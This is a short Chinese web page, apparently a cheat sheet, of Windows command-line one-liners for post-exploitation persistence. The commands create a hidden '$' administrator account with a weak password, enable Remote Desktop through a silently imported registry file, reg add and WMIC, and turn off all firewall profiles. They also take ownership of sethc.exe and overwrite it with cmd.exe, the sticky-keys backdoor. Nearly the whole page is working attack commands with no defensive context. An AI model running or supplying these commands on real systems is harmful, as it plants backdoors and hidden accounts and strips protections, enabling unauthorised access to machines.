赞
踩
- net user haha$ 123 /add #创建一个新用户haha 密码是123
- net localgroup administrators haha$ /add #将该新用户移动到管理员组下
- net localgroup users haha$ /del #删除这个用户的记录
net user haha$ /del
- echo Windows Registry Editor Version 5.00>3389.reg
- echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
- echo "fDenyTSConnections"=dword:00000000>>3389.reg
- echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
- echo "PortNumber"=dword:00000d3d>>3389.reg
- echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
- echo "PortNumber"=dword:00000d3d>>3389.reg
- regedit /s 3389.reg
- del 3389.reg
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
- net user zj 123 /add
- net localgroup administrators zj /add
- net user zj 123 /del
- netsh advfirewall set allprofiles state off
- takeown /f c:\windows\system32\sethc.* /a /r /d y
- cacls c:\windows\system32\sethc.exe /T /E /G system:F
- cacls c:\windows\system32\sethc.exe /T /E /G administrator:F
- copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y
C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。